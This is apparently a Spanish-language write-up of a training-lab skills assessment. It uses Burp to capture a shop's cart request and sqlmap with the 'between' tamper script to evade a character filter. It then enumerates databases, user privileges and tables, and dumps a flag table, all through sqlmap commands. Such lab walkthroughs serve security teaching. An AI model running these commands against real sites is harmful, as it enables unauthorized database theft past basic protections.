🧪 SQLMap Essentials – Skills Assessment

📘 Evaluación práctica

Este ejercicio evalúa si sabes detectar y explotar una SQL Injection realista usando SQLMap y técnicas de evasión básicas.


🎯 Objetivo del ejercicio

✅ Meta final

Encontrar el contenido de la tabla final_flag explotando una SQLi en una aplicación con protecciones básicas.


🌍 Información del objetivo

📌 Target

  • Host: <IP>:<PUERTO>

  • Tiempo limitado ⏱️

  • Protecciones activas (no es un entorno “ideal”)

Esto implica que:

🧠 Primeros pasos – Análisis del vector

🕵️ Observación inicial

La aplicación parece una tienda online (zapatos), por lo que es probable que haya:

  • Formularios

  • Carrito de compra

  • Peticiones POST

📸 Interfaz principal: {0B2CCE96-D354-4DC8-8BF7-6AA7E9437D95}.png

Para facilitar la investigación:

burpsuite &> /dev/null & disown

Visitamos:
http://<IP>:<PUERTO>/shop.html

Añadimos un producto al carrito 🛒

Pasted image 20251214183259.png

📦 Captura de la petición vulnerable

📡 Análisis de tráfico

Al añadir un producto, interceptamos la petición con Burp.

Observaciones clave:

👉 Copiamos la petición completa y la guardamos en un archivo:

req.txt


🛠️ Detección de SQL Injection

Ejecutamos SQLMap usando la petición guardada:

sqlmap -r req.txt --batch

📸 Resultado: Pasted image 20251214183555.png

🚧 Protección detectada

SQLMap indica que el carácter > está filtrado y recomienda usar:

--tamper=between

Esto sugiere:


🧬 Enumeración con evasión

📚 Enumerar bases de datos

Usamos el tamper recomendado:

sqlmap -r req.txt --dbs --batch --tamper=between

📸 Resultado: {EB417B1E-77DF-4FF5-8FA4-EB46EC0ECB4C}.png

✅ Base de datos relevante encontrada:

production


🔍 Enumeración del entorno

📊 Conocer el backend ayuda a decidir ataques

sqlmap -r req.txt --banner --current-user --current-db --is-dba --batch --tamper=between

📄 Información obtenida

📸 Evidencia: {B5949CC4-7FA3-4075-A64F-3E8807C56995}.png

⚠️ Importante

No ser DBA implica que no podremos leer ni escribir archivos del sistema.


📂 Enumeración de tablas

Listamos las tablas de la base de datos production:

sqlmap -r req.txt --tables -D production --batch --tamper=between

📸 Resultado:
{BD897522-D1A9-4E03-945B-BE041A5D0E15}.png

🎯 Tabla objetivo identificada:

final_flag


🏁 Extracción del flag (Dump)

🎯 Paso final

Dumpeamos solo la tabla necesaria para minimizar ruido.

sqlmap -r req.txt --dump -T final_flag -D production --batch --tamper=between

📸 Resultado:
{7B7EAA16-2B3D-430A-910A-B2A32793393A}.png


🎉 Conclusión

Lecciones clave

  • No todo es lanzar --dump

  • Burp + SQLMap es una combinación clave

  • Los tamper scripts son esenciales en entornos reales

  • Entender el flujo de la app marca la diferencia